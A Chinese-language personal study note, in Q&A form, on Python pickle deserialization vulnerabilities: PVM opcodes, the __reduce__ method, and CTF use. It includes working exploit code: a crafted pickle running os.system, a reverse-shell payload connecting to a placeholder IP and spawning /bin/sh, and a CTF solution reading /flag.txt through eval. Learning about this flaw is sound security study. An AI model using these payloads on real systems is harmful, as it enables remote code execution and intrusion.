Python Pickle反序列化漏洞学习笔记
只是简单的学习笔记
参考链接
一篇文章带你理解漏洞之 Python 反序列化漏洞
pickle反序列化初探
这两篇文章写得已经非常清晰了,如果要学建议看上面的🤓
光速QA
Q:pickle是什么?
A:pickle是python下的序列化与反序列化包。
Q:pickle如何进行序列化与反序列化?
A:通过四个函数
# 序列化
pickle.dump(文件)
pickle.dumps(字符串)
# 反序列化
pickle.load(文件)
pickle.loads(字符串)
Q:举个例子
A:
import pickle
class People(object):
def __init__(self,name = "skkyblu3"):
self.name = name
def say(self):
print "Hello ! My friends"
a = People()
c = pickle.dumps(a)
d = pickle.loads(c)
d.say()
Q:一个对象被序列化后是什么样的?
A:上面People类序列化之后为
ccopy_reg
_reconstructor
p0
(c__main__
People
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'skkyblu3'
p7
sb.
Q:这串内容是如何被解析的?
A:pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存
- 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
- 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
- memo:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以
key-value
的形式储存在memo中,以便后来使用。
PVM操作码(直接盗图)
考虑下面的内容,这个在反序列化的时候会执行os.system('ls')
import pickle
data = """cos
system
(S'ls'
tR.
"""
pickle.loads(data)
结合我们上面讲述的 PVM 的操作码看这个文件中的字符串是怎么一步一步执行的:
- c 后面是模块名,换行后是类名,于是将 os.system 放入栈中
- ( 这个是标记符,我们将一个 Mark 放入栈中
- S 后面是字符串,我们放入栈中
- t 将栈中 Mark 之前的内容取出来转化成元祖,再存入栈中 ('ls',),同时标记 Mark 消失
- R 将元祖取出,并将 callable 取出,然后将元祖作为 callable 的参数,并执行,对应这里就是 os.system('ls'),然后将结果再存入栈中
用动图来帮助理解一下(这个好诶!):
PVM解析R
指令的过程动图:
Q:反序列化的原理大概清楚了,可是要怎么利用捏?
A:和PHP一样,我们想在反序化的时候执行我们的代码。这就需要__reduce__
这个魔术方法,这个方法是新式类(内置类)特有的。
新式类(内置类)和旧式类(自建类)的区别在于有没有继承自object
,如果一个类继承自object
,那么它就是新式类。不过这个特性是Python2才有的,Python3开始,所有的类都被视为新式类,无论是否明确地继承自object
。
# 旧式类
>>> class A():
... pass
...
>>> a = A()
>>> type(a)
<type 'instance'>
# 新式类
>>> class B(object):
... pass
...
>>> b = B()
>>> type(b)
<class '__main__.B'>
为了使用__reduce__
我们的类需要继承自object
。
那么__reduce__
是什么呢?
当序列化以及反序列化的过程中中碰到一无所知的扩展类型(这里指的就是新式类)的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化
我们知道在PHP反序列化的时候,反序列化的类在代码中一定是声明过的。但在Python中,如果反序列化的类中有__reduce__
,那么即使环境中没有声明,它也可以按照__reduce__
中的方法进行反序列化,这样攻击面可以说是相当大了。下面通过一段代码来感受__reduce__
的神奇:
import pickle
class A(object):
pass
class B(object):
def __reduce__(self):
return (str, ())
a = A()
b = B()
a_s = pickle.dumps(a)
b_s = pickle.dumps(b)
# 在环境中删除这两个类
del A
del B
try:
# 对于不存在的类反序列失败
pickle.loads(a_s)
print 'A is load'
except Exception as e:
print e
try:
# 实现了__reduce__的类,即使环境中没有定义,也能按照__reduce__中的方法反序列化
pickle.loads(b_s)
print 'B is load'
except Exception as e:
print e
那么__reduce__
方法如何构造呢?__reduce__
可以返回两种类型的值,String 和 tuple ,我们的构造点就在令其返回 tuple 的时候。当他返回值是一个元祖的时候,可以提供2到5个参数,我们重点利用的是前两个,第一个参数是一个callable object(可调用的对象),第二个参数可以是一个元祖为这个可调用对象提供必要的参数。
一个pickle EXP的简单demo
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = "echo skkyblu3" # 要执行的命令
return (os.system, (s,)) # 返回元组
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 反序列字符串
记一个反弹shell的demo,用到的是python -c
:
class A(object):
def __reduce__(self):
a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
所以上周那道ikun
就是用了eval来读取flag的内容,还是比较简单的
import os
import pickle
import urllib
class exp(object):
def __reduce__(self):
return (eval,("open('/flag.txt').read()",))
a=exp()
s=pickle.dumps(a)
print urllib.quote(s)
Q:还有内容吗?
A:剩下的内容主要有三个
- 序列化更复杂的代码去执行
- 手写 opcode
- pker的使用,用于将Python源代码自动转换为Pickle opcode的工具
Q:为什么不写了?
A:今天不想看了,之后再说吧🥱